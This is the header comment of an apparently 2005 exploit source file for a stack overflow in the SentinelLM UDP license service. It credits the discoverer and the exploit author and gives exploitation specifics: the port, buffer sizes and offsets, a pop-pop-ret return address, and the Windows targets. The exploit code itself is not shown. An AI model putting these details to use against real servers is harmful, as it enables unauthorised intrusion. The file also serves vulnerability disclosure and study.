/*
SentinelLM, UDP License Service Stack Overflow
Homepage: safenet-inc.com
Affected version: 7.*
Patched version: 8.0
Link: safenet-inc.com/products/sentinel/lm.asp
Date: 09 March 2005
Advisory: securitytracker.com/alerts/2005/Mar/1013385.html
Application Risk: High
Internet Risk: Medium (UDP)
Dicovery Credits: Dennis Rand (CIRT.DK)
Exploit Credits : class101
Hole History:
07-3-2005: BOF flaw published by Dennis Rand of CIRT.DK
09-3-2005: hat-squad's exploit done
13-3-2005: hat-squad's exploit released
Notes:
-the exploit targets 5093/UDP
-no bad chars detected
-Unlike it is said in the CIRT.DK advisory, you shouldn't submit 3000bytes of data, but indeed, the overflow is occuring at around
3900 bytes. SentinelLM will proceed the first 1035bytes of your buffer and will repeat those until the override of the stack.
Conclusion , you have to be good with maths (nor to control our friend olly & calc :>) to overwrite the right place in your buffer[1035]
to finally reach eip when your buffer "autogrows" at around buffer[3940].
-sending the buffer twice because the 1st attempt can fail sometimes.
-using a nice popopret outside of a loaded module for SP2and2k3 targets.
this offset has been tested on SP2 and 2003 ENGLISH (maybe langage-dependent dunno..)
-to note so that target3 (SP2/2k3) can work sometimes as target2 (SP1a/1/0) but it is not stable this is why I use
one of the two I have posted at fulldisclosure (0x71ABE325/SP1a/1/0). This last is stable for the 3 sp (ENGLISH!).
Compilation:
101_SentLM.cpp ......... Win32 (MSVC,cygwin)
101_SentLM.c ........... Linux (FreeBSD,etc..)
*Another fine working code, published as a patch warning or for an EXPERIMENTAL use!*
